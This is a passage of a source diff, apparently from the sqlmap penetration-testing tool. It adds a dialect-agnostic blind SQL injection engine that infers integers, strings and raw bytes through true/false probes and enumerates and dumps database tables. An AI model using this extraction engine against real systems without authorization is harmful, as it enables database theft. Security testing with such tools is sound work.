if complete: # verify failed and no hex recovery -> demote
|
||||
complete = False
|
||||
warns.append("whole-value verification failed")
|
||||
# a value can be EXACT only if a BYTE-FAITHFUL witness backs it: plain SQL '=' and
|
||||
# collation/ordinal ordering are collation-dependent (accent/case/width folding), so
|
||||
# without a proven hex/binary witness (or code-mode codepoint reads) the recovered
|
||||
# bytes are NOT provably the source's - downgrade to WHOLE_BUT_AMBIGUOUS, never EXACT.
|
||||
if _verify and value and complete and not self._byteFaithful():
|
||||
warns.append("byte-exactness unproven: collation-dependent comparison, no hex/binary witness")
|
||||
return ExtractResult(value, complete=complete, truncated=truncated,
|
||||
queries=self._queries - q0, warnings=warns)
|
||||
|
||||
def _byteFaithful(self):
|
||||
# is a BYTE-EXACT primitive available to certify a recovered value? a proven hex fn or a
|
||||
# binary-compare wrapper is; plain '='/collation is not. Code mode with PROVEN codepoint
|
||||
# semantics reads true code points, so it is faithful on its own.
|
||||
if self.dialect.hexfn is not None:
|
||||
return True
|
||||
if self.dialect.binwrap is not None and self.dialect.binwrap.get("byte_exact"):
|
||||
return True # only a PROVEN byte-exact wrapper (accents tested) counts
|
||||
return (self.dialect.compare == "code" and self.dialect.charcode is not None
|
||||
and self.dialect.charcode.get("semantics") == "codepoint")
|
||||
|
||||
def _extractViaHex(self, expr, q0=None):
|
||||
# recover a full text value through strict hex extraction, or None
|
||||
if not self._ensureHexfn():
|
||||
return None
|
||||
q0 = self._queries if q0 is None else q0
|
||||
# route through the text cast, exactly as the framed dump does: a column whose STORAGE
|
||||
# charset differs from the DB charset - e.g. Oracle NVARCHAR2 (UTF-16 national charset) -
|
||||
# hexes to bytes the DB-charset decode garbles; casting to the DB char type first
|
||||
# normalizes it (VARCHAR2 == DB charset), so the decode matches the discovered codec.
|
||||
hexpr = self.dialect.textcast[1].format(expr=expr) if self.dialect.textcast else expr
|
||||
res = self.extractResult(self.dialect.hexfn[1].format(expr=hexpr),
|
||||
_ceiling=self.maxbytes * 2, _verify=False)
|
||||
if res.is_null:
|
||||
return ExtractResult(None, is_null=True, complete=True, queries=self._queries - q0)
|
||||
if res.value is None or not res.complete or res.truncated or res.warnings:
|
||||
return None
|
||||
enc = (self.dialect.hexfn.get("encoding") if self.dialect.hexfn else None) or self.dialect.charset
|
||||
# UNKNOWN codec + non-ASCII bytes: the TEXT reading is a GUESS (e.g. UTF-8 bytes with an
|
||||
# embedded NUL get heuristically read as UTF-16), so it must NOT be certified exact. Bytes
|
||||
# are faithful (they'd round-trip), but only a PROVEN codec makes the decoded text exact.
|
||||
if enc is None:
|
||||
try:
|
||||
rawb = bytearray(_unhexlify(res.value))
|
||||
except (TypeError, ValueError, binascii.Error, UnicodeError):
|
||||
return None
|
||||
if any(b >= 0x80 for b in rawb):
|
||||
return None # non-ASCII under an unproven codec -> not exact
|
||||
dec = self._decodeHexToken(res.value, enc)
|
||||
if dec is None:
|
||||
return None
|
||||
return ExtractResult(dec, complete=True, queries=self._queries - q0,
|
||||
warnings=["recovered via hex after verification mismatch"])
|
||||
|
||||
def _exactEquals(self, left, right):
|
||||
# whole-value equality that avoids collation/trailing-space lies
|
||||
if self._ensureHexfn():
|
||||
t = self.dialect.hexfn[1]
|
||||
return self._ask("(%s)=(%s)" % (t.format(expr=left), t.format(expr=right)))
|
||||
if self.dialect.binwrap:
|
||||
t = self.dialect.binwrap[1]
|
||||
return self._ask("(%s)=(%s)" % (t.format(x=left), t.format(x=right)))
|
||||
return self._ask("(%s)=(%s)" % (left, right))
|
||||
|
||||
def extractInteger(self, expr, maximum=None):
|
||||
"""Extract a (possibly signed) integer by range-bounded bisection - avoids
|
||||
stringifying and reading digit-by-digit. EVERY numeric decision renders through
|
||||
`_gtNum` (the discovered comparator: gt / BETWEEN / operator-free rung), so it
|
||||
never emits a raw '>='/'<'/'>' discovery did not validate, and an operator-free
|
||||
rung keeps FULL signed range (not the membership magnitude ceiling)."""
|
||||
cap = maximum if maximum is not None else 1 << 62
|
||||
if not self._numDefined(expr):
|
||||
return None
|
||||
if self._comparator == "membership":
|
||||
# no ordered comparator at all: read the non-negative magnitude (counts /
|
||||
# lengths) via the bounded IN/scan window; out-of-range -> overflow.
|
||||
ceil = min(cap, 1 << 16)
|
||||
try:
|
||||
return self._readNum(expr, 0, ceil)
|
||||
except NumericOutOfRange:
|
||||
raise OverflowError("integer exceeds maximum %d" % ceil)
|
||||
# ordered comparator: bracket the value with `expr > n` probes then bisect the
|
||||
# transition. The `high` arg to _gtNum MUST exceed any possible value (BETWEEN renders
|
||||
# `expr BETWEEN n+1 AND high`; using `cap` there made every over-cap positive read as
|
||||
# an empty range -> misclassified NEGATIVE, reporting "below minimum" for an above-max
|
||||
# value). Use HUGE as the range ceiling everywhere; `cap` is only the overflow threshold.
|
||||
HUGE = 1 << 62
|
||||
if self._gtNum(expr, -1, HUGE): # expr > -1 <=> expr >= 0 (any magnitude)
|
||||
if self._gtNum(expr, cap, HUGE): # expr > cap -> ABOVE maximum
|
||||
raise OverflowError("integer exceeds maximum %d" % cap)
|
||||
lo, hi = -1, 1
|
||||
while hi < cap and self._gtNum(expr, hi, HUGE):
|
||||
lo, hi = hi, min(hi * 2 + 1, cap)
|
||||
else: # not in [0, HUGE]
|
||||
# BETWEEN's sign test caps at HUGE, so a positive value ABOVE HUGE also lands here.
|
||||
# distinguish it from a genuine negative before reporting a direction (a gt/operator-
|
||||
# free sign test is unbounded, so its else-branch is truly negative and skips this).
|
||||
if self._comparator == "between" and not self._ask("(%s) BETWEEN %d AND %d" % (expr, -HUGE, -1)):
|
||||
raise OverflowError("integer magnitude exceeds representable range (+/-%d), direction unknown" % HUGE)
|
||||
if not self._gtNum(expr, -cap - 1, HUGE): # expr <= -cap-1 -> BELOW minimum
|
||||
raise OverflowError("integer below minimum -%d" % cap)
|
||||
hi, lo = -1, -2
|
||||
while lo > -cap and not self._gtNum(expr, lo, HUGE):
|
||||
hi, lo = lo, lo * 2
|
||||
lo = max(lo, -cap - 1)
|
||||
# invariant: expr > lo is True, expr > hi is False -> value is the transition in (lo, hi]
|
||||
while hi - lo > 1:
|
||||
mid = (lo + hi) // 2
|
||||
if self._gtNum(expr, mid, HUGE):
|
||||
lo = mid
|
||||
else:
|
||||
hi = mid
|
||||
# FINAL INDEPENDENT CHECK: bisection trusts the comparator, which is only PROVEN on
|
||||
# integer literals - a backend/WAF that honours '>' on literals but rewrites it (e.g. to
|
||||
# '>=') for scalar-subquery / fn / arithmetic operands would converge off-by-one. Confirm
|
||||
# the result with a direct equality against the ACTUAL expression; if it isn't decisively
|
||||
# true the read is invalid -> fail closed (never return a silently-wrong count/length/id).
|
||||
if not self._ask("(%s)=%d" % (expr, hi)):
|
||||
raise OracleUndecided("integer read failed final equality check: (%s) != %d" % (expr, hi))
|
||||
return hi
|
||||
|
||||
def extractBytes(self, expr):
|
||||
"""Extract the exact bytes of a string/blob expression via a hex function.
|
||||
Byte-exact and collation-independent (the hex string is ASCII [0-9A-F], so
|
||||
whatever compare mode is active reads it cleanly). Returns None if no hex
|
||||
function is available on the target."""
|
||||
if not self._ensureHexfn():
|
||||
return None
|
||||
# hex doubles the length; cap by maxbytes (a char can be several bytes),
|
||||
# not maxlen
|
||||
res = self.extractResult(self.dialect.hexfn[1].format(expr=expr),
|
||||
_ceiling=self.maxbytes * 2, _verify=False)
|
||||
hexstr = res.value
|
||||
# STRICT: never clean corruption into believable bytes. reject a non-hex
|
||||
# char, odd length, incomplete/truncated pull, or an unresolved marker.
|
||||
if hexstr is None or not res.complete or res.truncated or res.warnings:
|
||||
return None
|
||||
if len(hexstr) % 2 or any(c not in _HEXDIGITS + _HEXDIGITS.lower() for c in hexstr):
|
||||
return None
|
||||
try:
|
||||
raw = _unhexlify(hexstr)
|
||||
except (TypeError, ValueError, binascii.Error, UnicodeError):
|
||||
return None
|
||||
# INDEPENDENT witness: if a byte-length fn was discovered, confirm the recovered byte
|
||||
# count matches it (measured by a DIFFERENT primitive than hex) - so a capped/lossy hex
|
||||
# that silently shortened the value is caught rather than passed off as "the exact bytes".
|
||||
if self.dialect.bytelen is not None:
|
||||
# FAIL CLOSED: once a byte-length witness is selected for certification, an undecided
|
||||
# or mismatched reading means we CANNOT confirm the bytes are whole -> reject, never
|
||||
# treat "couldn't verify" as "matched".
|
||||
try:
|
||||
expected = self.extractInteger(self.dialect.bytelen[1].format(expr=expr))
|
||||
except (OracleUndecided, OverflowError):
|
||||
return None
|
||||
if expected is None or expected != len(raw):
|
||||
return None
|
||||
return raw
|
||||
|
||||
def extractText(self, expr, encoding="utf-8", errors="replace"):
|
||||
"""Extract bytes then decode with a caller-chosen encoding - the reliable
|
||||
path when the column's charset is known (e.g. a CP1252 VARCHAR, a UTF-16
|
||||
NVARCHAR, or a binary blob). Falls back to char-by-char extract() when the
|
||||
target has no hex function."""
|
||||
raw = self.extractBytes(expr)
|
||||
if raw is None:
|
||||
return self.extract(expr)
|
||||
return raw.decode(encoding, errors)
|
||||
|
||||
def _likePat(self, prefix_singles, ch, trailing, trailing_multi=False):
|
||||
# build a LIKE/GLOB/SIMILAR-TO pattern literal: `single`*before + one literal char +
|
||||
# `single`*after (+ a trailing multi-wildcard when the value CONTINUES past what we
|
||||
# read - a truncated prefix, from limit< length or length> maxlen). Without that
|
||||
# multi the pattern demands an EXACT length and can't match the longer source -> every
|
||||
# char would come back unresolved. only `ch` may be special, escaped if so.
|
||||
p = self.dialect.prefix
|
||||
multi, single = p.get("multi"), p.get("single")
|
||||
tail = single * trailing + (multi if trailing_multi else "")
|
||||
body = single * prefix_singles
|
||||
if p.name == "GLOB" and ch in (multi, single, "["):
|
||||
return body + "[%s]" % ch + tail, "" # GLOB escapes via a char class
|
||||
# SIMILAR TO shares %/_ with LIKE but also has regex metachars; LIKE has only %/_
|
||||
special = _SIMILAR_META if p.name == "SIMILAR TO" else (multi, single)
|
||||
if ch in special:
|
||||
return body + "\\" + ch + tail, " ESCAPE '\\'" # escape via ESCAPE '\'
|
||||
return body + ch.replace("'", "''") + tail, ""
|
||||
|
||||
def _likeIs(self, expr, pattern, esc):
|
||||
return self._ask("(%s) %s '%s'%s" % (expr, self.dialect.prefix.name, pattern, esc))
|
||||
|
||||
def _likeExtract(self, expr, limit=None):
|
||||
p = self.dialect.prefix
|
||||
multi, single = p.get("multi"), p.get("single")
|
||||
q0 = self._queries
|
||||
# NULL vs matches-anything-nonnull
|
||||
if not self._likeIs(expr, multi, ""):
|
||||
is_null = self._ask("(%s) IS NULL" % expr)
|
||||
return ExtractResult(None, is_null=is_null, complete=is_null,
|
||||
queries=self._queries - q0,
|
||||
warnings=[] if is_null else ["pattern probe failed"])
|
||||
if self._likeIs(expr, "", ""): # empty string matches only ''
|
||||
return ExtractResult("", complete=True, queries=self._queries - q0)
|
||||
# length from wildcards: `_`*n + `%` matches iff length >= n. find the
|
||||
# largest n that still matches (keep a known-true lower bound; the exponential
|
||||
# must NOT advance lo past the true region)
|
||||
ge = lambda n: self._likeIs(expr, single * n + multi, "")
|
||||
if self.maxlen < 1: # capped to nothing: non-empty but unread
|
||||
return ExtractResult("", complete=False, truncated=True,
|
||||
queries=self._queries - q0,
|
||||
warnings=["maxlen<1: value not read"])
|
||||
hi = 1
|
||||
while hi < self.maxlen and ge(hi):
|
||||
hi = min(hi * 2, self.maxlen)
|
||||
lo = 1 # ge(1) is true (non-empty)
|
||||
while lo < hi:
|
||||
mid = (lo + hi + 1) // 2
|
||||
lo, hi = (mid, hi) if ge(mid) else (lo, mid - 1)
|
||||
length = lo
|
||||
# truncated ONLY if a char exists past the cap (ge(maxlen+1)); an exactly-maxlen
|
||||
# value is COMPLETE - the old `ge(maxlen)` test flagged every capped value truncated
|
||||
truncated = length >= self.maxlen and ge(self.maxlen + 1)
|
||||
if limit is not None and limit < length:
|
||||
truncated, length = True, limit
|
||||
out = []
|
||||
for i in range(length):
|
||||
hit = None
|
||||
for c in _FREQ_ORDER:
|
||||
# trailing multi-wildcard when the value continues past `length` (truncated
|
||||
# prefix), so the pattern matches the longer source instead of demanding exact len
|
||||
pat, esc = self._likePat(i, c, length - i - 1, trailing_multi=truncated)
|
||||
if self._likeIs(expr, pat, esc):
|
||||
hit = c
|
||||
break
|
||||
out.append(hit if hit is not None else _REPL)
|
||||
value = "".join(out)
|
||||
warns = ["contains unresolved char"] if _REPL in value else []
|
||||
if p.get("case_insensitive"):
|
||||
warns.append("LIKE is case-insensitive: letter case may be ambiguous")
|
||||
return ExtractResult(value, complete=not truncated and not _hardWarnings(warns),
|
||||
truncated=truncated, queries=self._queries - q0, warnings=warns)
|
||||
|
||||
@staticmethod
|
||||
def _decodeHexToken(token, encoding=None):
|
||||
if len(token) % 2 or any(c not in _HEXDIGITS + _HEXDIGITS.lower() for c in token):
|
||||
return None # strict: don't clean corruption
|
||||
try:
|
||||
raw = _unhexlify(token)
|
||||
except (TypeError, ValueError, binascii.Error, UnicodeError):
|
||||
return None
|
||||
if encoding:
|
||||
# a PROVEN codec is authoritative: if the bytes don't decode under it, that is a
|
||||
# FAILURE (return None -> token dropped, result marked incomplete), NOT licence to
|
||||
# reinterpret them as some other codec (00 D8 is an invalid UTF-16LE lone surrogate,
|
||||
# but a valid UTF-16BE 'O with stroke' - guessing again would silently corrupt).
|
||||
try:
|
||||
return raw.decode(encoding, "strict")
|
||||
except (UnicodeDecodeError, LookupError):
|
||||
return None
|
||||
# UNKNOWN codec + an embedded NUL is genuinely AMBIGUOUS: bytes `41 00` are valid UTF-8
|
||||
# ("A" + NUL) AND valid UTF-16LE ("A"), and no primitive lied - with no proven codec
|
||||
# either reading could be right, so neither is exact. Refuse (drop the token -> the caller
|
||||
# falls back to per-char extraction, which round-trips each char against the source).
|
||||
if b"\x00" in raw:
|
||||
return None
|
||||
# no NUL and no proven codec: a best-effort DISPLAY decode (exactness of any non-ASCII
|
||||
# result is gated separately - the dump downgrades non-ASCII under an unknown codec, and
|
||||
# scalar hex recovery refuses to certify unknown-codec non-ASCII bytes).
|
||||
for enc in ("utf-8", "latin-1"):
|
||||
try:
|
||||
return raw.decode(enc)
|
||||
except (UnicodeDecodeError, ValueError):
|
||||
continue
|
||||
return raw.decode("latin-1", "replace")
|
||||
@@ -0,0 +1,283 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
from .engine import Esperanto
|
||||
from .records import OracleUndecided
|
||||
|
||||
|
||||
def _sanitize(s):
|
||||
"""Escape C0/DEL/C1 control bytes in recovered DB content before it is logged - a stored
|
||||
value can carry ANSI/OSC sequences that would otherwise drive or forge the sqlmap console."""
|
||||
if not isinstance(s, type(u"")):
|
||||
return s
|
||||
return "".join(c if (u" " <= c < u"\x7f") or c > u"\x9f" else "\\x%02x" % ord(c) for c in s)
|
||||
|
||||
|
||||
def buildHandler():
|
||||
"""Build the sqlmap dbmsHandler that drives enumeration through this engine when
|
||||
the back-end cannot be (or should not be) fingerprinted. sqlmap-core imports are
|
||||
deferred here so the engine above stays dependency-free for standalone use.
|
||||
|
||||
The user still commands *what* to retrieve (--banner / --tables / --dump / ...);
|
||||
esperanto only works out *how* on a dialect it discovers from scratch, and every
|
||||
probe rides sqlmap's own boolean inference (request / comparison / WAF stack)."""
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.core.enums import CHARSET_TYPE
|
||||
from lib.core.enums import EXPECTED
|
||||
from lib.core.exception import SqlmapDataException
|
||||
from lib.request.inject import checkBooleanExpression
|
||||
from lib.request.inject import getValue
|
||||
from plugins.generic.enumeration import Enumeration
|
||||
from plugins.generic.misc import Miscellaneous
|
||||
|
||||
# boolean-blind-only oracle (no inband UNION marker): whole-page true/false, so a
|
||||
# reflective target that filters out the reflected marker can't defeat it
|
||||
def _blindOracle(condition):
|
||||
return getValue(condition, expected=EXPECTED.BOOL, charsetType=CHARSET_TYPE.BINARY,
|
||||
suppressOutput=True, union=False, error=False, time=False)
|
||||
|
||||
class _EsperantoHandler(Enumeration, Miscellaneous):
|
||||
def __init__(self):
|
||||
Enumeration.__init__(self)
|
||||
Miscellaneous.__init__(self)
|
||||
self._esp = None
|
||||
self._notesLogged = 0 # how many dialect.notes already surfaced (see _flushNotes)
|
||||
self._identCache = {} # current user/db: fetch (and announce) once
|
||||
self._colCache = {} # (db, table) -> ordered column names, so a dump
|
||||
# reuses what --columns already enumerated
|
||||
self._scopeCache = {} # table -> resolved schema (see _scopeFor)
|
||||
|
||||
def _engine(self):
|
||||
if self._esp is None:
|
||||
# esperanto is a PURE boolean-oracle engine: every probe is one true/false
|
||||
# question, so it gains nothing from UNION/error inband extraction - while
|
||||
# those need a concatenated marker whose generic form is CONCAT() when the
|
||||
# backend is unidentified (agent.py), and CONCAT() does not exist on SQLite/
|
||||
# Firebird/Oracle (they use ||) so every such probe errors. so PREFER the
|
||||
# boolean-blind technique: no marker, no concatenation, whole-page true/false,
|
||||
# works everywhere. only fall back to whatever-technique-is-available if the
|
||||
# target has no usable boolean-blind vector. _ask decides what an undecidable
|
||||
# probe MEANS by context (skip a candidate rung vs degrade a data read loudly).
|
||||
esp = Esperanto(_blindOracle, retries=2)
|
||||
logger.info("Esperanto is discovering the back-end SQL dialect (agnostic mode, boolean-blind)")
|
||||
try:
|
||||
esp.discover()
|
||||
except RuntimeError:
|
||||
# no usable boolean-blind vector on this target - retry with any technique
|
||||
# sqlmap detected (UNION/error/time); may hit the CONCAT limitation above
|
||||
esp = Esperanto(lambda condition: checkBooleanExpression(condition), retries=2)
|
||||
logger.info("Esperanto retrying discovery via any available inference technique")
|
||||
try:
|
||||
esp.discover()
|
||||
except RuntimeError as ex:
|
||||
# genuinely unusable (unstable target, or no substring/pattern
|
||||
# primitive) - stop cleanly instead of surfacing an internal traceback
|
||||
raise SqlmapDataException("Esperanto could not establish a reliable extraction oracle on this target (%s)" % ex)
|
||||
logger.info("Esperanto dialect verdict: %s" % (esp.identify().get("product") or "unknown"))
|
||||
esp._progress = lambda value: logger.info("retrieved: %s" % _sanitize(value)) # live feedback (sanitized)
|
||||
self._esp = esp
|
||||
self._notesLogged = 0
|
||||
self._flushNotes() # discovery-time notes
|
||||
return self._esp
|
||||
|
||||
def _flushNotes(self):
|
||||
# surface degradation notes LOUDLY as they accrue. Enumeration/dump append notes
|
||||
# AFTER discovery, so logging once would hide every runtime degradation (incomplete
|
||||
# listing, truncation, blocked paging) - flush the NEW ones after each operation.
|
||||
notes = self._esp.dialect.notes if self._esp else []
|
||||
for note in notes[self._notesLogged:]:
|
||||
logger.warning("Esperanto: %s" % note)
|
||||
self._notesLogged = len(notes)
|
||||
|
||||
def _scopeDb(self):
|
||||
# the database to scope table/column lookups to: -D if given, else the
|
||||
# current one. WITHOUT this, a same-named table in another schema (e.g.
|
||||
# information_schema.USERS vs shop.users) merges columns and breaks dump.
|
||||
return conf.db or self.getCurrentDb()
|
||||
|
||||
def _scopeFor(self, table):
|
||||
# scope for a SPECIFIC table: -D wins; else the current schema IF the table
|
||||
# is there; else the schema the table actually lives in (PG-family: tables
|
||||
# often sit in 'public' while current_schema is the login user's own schema).
|
||||
if conf.db:
|
||||
return conf.db
|
||||
if table in self._scopeCache:
|
||||
return self._scopeCache[table]
|
||||
esp = self._engine()
|
||||
cur = self.getCurrentDb()
|
||||
scope = cur if (cur and esp.hasTable(table, cur)) else (esp.tableSchema(table) or cur)
|
||||
self._scopeCache[table] = scope
|
||||
return scope
|
||||
|
||||
def _db(self):
|
||||
return self._scopeDb() or "<current>"
|
||||
|
||||
def getFingerprint(self):
|
||||
# concise fingerprint only; the version banner is shown for --banner, not
|
||||
# printed unbidden on every run (and not re-extracted here)
|
||||
product = self._engine().identify().get("product") or "unknown"
|
||||
return "back-end DBMS: %s (via Esperanto DBMS-agnostic engine)" % product
|
||||
|
||||
def getBanner(self):
|
||||
# the ONLY path that blind-reads the full version string (expensive); the
|
||||
# fingerprint/product naming never does
|
||||
logger.info("fetching banner")
|
||||
kb.data.banner = self._engine().banner()
|
||||
return kb.data.banner
|
||||
|
||||
def getCurrentUser(self):
|
||||
if "user" not in self._identCache:
|
||||
expr = self._engine().dialect.identity.get("user")
|
||||
if expr:
|
||||
logger.info("fetching current user")
|
||||
self._identCache["user"] = self._safeExtract(expr) if expr else None
|
||||
kb.data.currentUser = self._identCache["user"]
|
||||
return kb.data.currentUser
|
||||
|
||||
def getCurrentDb(self):
|
||||
# called repeatedly to scope tables/columns/dump -> fetch and announce once
|
||||
if "db" not in self._identCache:
|
||||
expr = self._engine().dialect.identity.get("database")
|
||||
if expr:
|
||||
logger.info("fetching current database")
|
||||
self._identCache["db"] = self._safeExtract(expr) if expr else None
|
||||
kb.data.currentDb = self._identCache["db"]
|
||||
return kb.data.currentDb
|
||||
|
||||
def _safeExtract(self, expr):
|
||||
# current user/db are used as SQL QUALIFIERS + cache keys + scoping decisions, so
|
||||
# they must be EXACT - a truncated/case-ambiguous value here becomes wrong SQL.
|
||||
try:
|
||||
res = self._esp.extractResult(expr)
|
||||
except OracleUndecided:
|
||||
logger.warning("Esperanto could not retrieve %s (oracle undecided)" % expr)
|
||||
return None
|
||||
if res.value is not None and not res.exact:
|
||||
logger.warning("Esperanto: %s not recovered exactly (%s) - not used for scoping" % (expr, res.integrity))
|
||||
return None
|
||||
return res.value
|
||||
|
||||
def isDba(self, user=None):
|
||||
# UNKNOWN, not a negative claim: Esperanto has no generic DBA probe, so returning
|
||||
# False would assert "not a DBA" on no evidence. Report it can't tell and return
|
||||
# None (unknown) so a transient can't be read as a proven privilege verdict.
|
||||
logger.warning("Esperanto cannot determine DBA status (no generic privilege probe)")
|
||||
kb.data.isDba = None
|
||||
return kb.data.isDba
|
||||
|
||||
def getDbs(self):
|
||||
logger.info("fetching database names")
|
||||
kb.data.cachedDbs = self._engine().enumerate("database", limit=(conf.limitStop or 50)) or []
|
||||
self._flushNotes()
|
||||
return kb.data.cachedDbs
|
||||
|
||||
def getTables(self, bruteForce=None):
|
||||
# scope to the requested database (-D) or the current one, so the listing
|
||||
# isn't polluted with every schema's tables (e.g. information_schema)
|
||||
db = conf.db or self.getCurrentDb()
|
||||
lim = conf.limitStop or 100
|
||||
names = self._engine().enumerate("table", limit=lim, schema=db) or []
|
||||
if not names and not conf.db and db != "public":
|
||||
# current schema empty (PG-family: login-user schema) -> tables usually
|
||||
# live in 'public'; broaden rather than report nothing
|
||||
pub = self._engine().enumerate("table", limit=lim, schema="public") or []
|
||||
if pub:
|
||||
names, db = pub, "public"
|
||||
infoMsg = "fetching tables"
|
||||
if db:
|
||||
infoMsg += " for database '%s'" % db
|
||||
logger.info(infoMsg)
|
||||
kb.data.cachedTables = {db or "<current>": names}
|
||||
self._flushNotes()
|
||||
return kb.data.cachedTables
|
||||
|
||||
def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMode=False):
|
||||
if not conf.tbl:
|
||||
logger.error("Esperanto needs a table (-T) to enumerate columns")
|
||||
return {}
|
||||
db = self._scopeFor(conf.tbl)
|
||||
infoMsg = "fetching columns for table '%s'" % conf.tbl
|
||||
if db:
|
||||
infoMsg += " in database '%s'" % db
|
||||
logger.info(infoMsg)
|
||||
names = self._engine().columns(conf.tbl, schema=db) or []
|
||||
self._colCache[(db, conf.tbl)] = names # let a following dump reuse these
|
||||
kb.data.cachedColumns = {db or "<current>": {conf.tbl: dict((n, None) for n in names)}}
|
||||
self._flushNotes()
|
||||
return kb.data.cachedColumns
|
||||
|
||||
def getSchema(self):
|
||||
esp = self._engine()
|
||||
# use the EFFECTIVE db that getTables() actually resolved (it may have broadened to
|
||||
# 'public' when the current schema was empty) - recomputing _db() here would miss
|
||||
# that and look columns up in the wrong (empty) schema.
|
||||
tabmap = self.getTables()
|
||||
effdb, tables = next(iter(tabmap.items()), ("<current>", []))
|
||||
colscope = self._scopeDb() if effdb == "<current>" else effdb
|
||||
schema = {}
|
||||
for table in (tables or []):
|
||||
schema[table] = dict((n, None) for n in (esp.columns(table, schema=colscope) or []))
|
||||
kb.data.cachedColumns = {effdb: schema}
|
||||
self._flushNotes()
|
||||
return kb.data.cachedColumns
|
||||
|
||||
def dumpTable(self, foundData=None):
|
||||
if not conf.tbl:
|
||||
logger.error("Esperanto needs a table (-T) to dump")
|
||||
return
|
||||
db = self._scopeFor(conf.tbl)
|
||||
cols = [c.strip() for c in conf.col.split(",")] if conf.col else None
|
||||
if cols is None:
|
||||
cols = self._colCache.get((db, conf.tbl)) # reuse --columns' result; don't re-walk
|
||||
infoMsg = "fetching entries"
|
||||
if cols:
|
||||
infoMsg += " of column(s) '%s'" % ", ".join(cols)
|
||||
infoMsg += " for table '%s'" % conf.tbl
|
||||
if db:
|
||||
infoMsg += " in database '%s'" % db
|
||||
logger.info(infoMsg)
|
||||
# sqlmap row-SELECTORS change WHICH rows come back, so REFUSE (don't silently return
|
||||
# different data): --where filters, --start offsets. --stop is honored as a row cap.
|
||||
if getattr(conf, "dumpWhere", None):
|
||||
logger.error("Esperanto cannot honor --where; refusing rather than returning unfiltered rows")
|
||||
return
|
||||
if getattr(conf, "limitStart", None):
|
||||
logger.error("Esperanto cannot honor --start; refusing rather than returning the wrong row range")
|
||||
return
|
||||
# the SAME qualified reference for count and dump, so a non-default schema can't make
|
||||
# the count hit a different (unqualified) table than the dump (#8).
|
||||
qtable = self._engine().qualify(conf.tbl, db)
|
||||
if conf.limitStop:
|
||||
limit = conf.limitStop
|
||||
else:
|
||||
try:
|
||||
limit = self._engine().extractInteger("(SELECT COUNT(*) FROM %s)" % qtable) or 10
|
||||
except (OracleUndecided, OverflowError):
|
||||
limit = 1 << 30 # unknown count -> effectively "all" (keyset stops at end)
|
||||
logger.info("no --stop given; dumping all %s rows" % (limit if limit < (1 << 30) else "(count unknown)"))
|
||||
result = self._engine().dump(conf.tbl, columns=cols, schema=db, limit=limit)
|
||||
if not result or not result["columns"]:
|
||||
logger.error("Esperanto could not dump table '%s'" % conf.tbl)
|
||||
return
|
||||
table_data = {}
|
||||
for i, name in enumerate(result["columns"]):
|
||||
values = [("NULL" if row[i] is None else row[i]) for row in result["rows"]]
|
||||
width = max([len(name)] + [len(v) for v in values]) if values else len(name)
|
||||
table_data[name] = {"length": width, "values": values}
|
||||
table_data["__infos__"] = {"count": len(result["rows"]), "table": conf.tbl, "db": self._db()}
|
||||
if not result["complete"]:
|
||||
logger.warning("Esperanto dump of '%s' may be incomplete" % conf.tbl)
|
||||
if not result.get("exact", True): # coverage may be complete yet content inexact
|
||||
logger.warning("Esperanto dump of '%s': values recovered via a collation-dependent "
|
||||
"comparison - case/accents may not be byte-exact" % conf.tbl)
|
||||
kb.data.dumpedTable = table_data
|
||||
self._flushNotes()
|
||||
conf.dumper.dbTableValues(kb.data.dumpedTable)
|
||||
|
||||
return _EsperantoHandler()
|
||||
@@ -0,0 +1,136 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
from contextlib import contextmanager
|
||||
|
||||
from .records import OracleUndecided
|
||||
from .records import QueryBudgetExceeded
|
||||
|
||||
|
||||
class _OracleCore(object):
|
||||
"""_OracleCore
|
||||
|
||||
the boolean-oracle contract + tiny SQL formatters (nothing dialect-specific)."""
|
||||
|
||||
@contextmanager
|
||||
def _probePhase(self):
|
||||
# mark a candidate-rung laddering section (discovery or lazy _ensure*): while
|
||||
# active, a host oracle may safely read an undecidable probe as False ("this
|
||||
# rung is unusable"), whereas outside it an undecidable READ must stay undecided
|
||||
prev = self._probing
|
||||
self._probing = True
|
||||
try:
|
||||
yield
|
||||
finally:
|
||||
self._probing = prev
|
||||
|
||||
def _emit(self, value):
|
||||
# per-VALUE feedback is for user-requested data reads only, NOT capability/discovery probes
|
||||
# (charset, lazy hexfn, cast canary - all wrapped in _probePhase): surfacing an internal
|
||||
# probe value as "retrieved: <x>" reads as a stray, out-of-context line to the user.
|
||||
if self._progress and value not in (None, "") and not self._probing:
|
||||
try:
|
||||
self._progress(value)
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
def _emitChar(self, partial, total):
|
||||
# live per-character feedback DURING a long extraction, so the user sees movement
|
||||
# instead of a frozen prompt (a whole framed row is one long silent read otherwise) -
|
||||
# suppressed during probe phases (see _emit) so a discovery probe doesn't animate
|
||||
if self._charProgress and not self._probing:
|
||||
try:
|
||||
self._charProgress(partial, total)
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
def _probe(self, condition):
|
||||
# ONE tri-state evaluation: True / False / None(persistent error). a raised
|
||||
# oracle is retried (transient) before being reported as an error - a
|
||||
# wrong-dialect probe legitimately errors, but a flaky connection must not
|
||||
# be allowed to read as a definitive False. counts every actual oracle call.
|
||||
for _ in range(self.retries + 1):
|
||||
if self.max_queries is not None and self._queries >= self.max_queries:
|
||||
raise QueryBudgetExceeded("oracle query budget exhausted at %d calls" % self._queries)
|
||||
self._queries += 1
|
||||
try:
|
||||
observed = self.oracle(condition)
|
||||
except Exception:
|
||||
continue
|
||||
# STRICT: only a real bool is an observation. None/0/''/other must not be
|
||||
# coerced to False (that silently corrupts bisection) - treat as undecided.
|
||||
if observed is True or observed is False:
|
||||
return observed
|
||||
return None
|
||||
|
||||
def _ask(self, condition):
|
||||
# decided boolean, or raise OracleUndecided - NEVER manufacture False from an
|
||||
# unobservable probe (that would silently corrupt blind bisection). the oracle
|
||||
# must itself return False for unsupported/rejected SQL; a raised probe means
|
||||
# "could not observe" and, absent a quorum, is fatal.
|
||||
if self.quorum <= 1:
|
||||
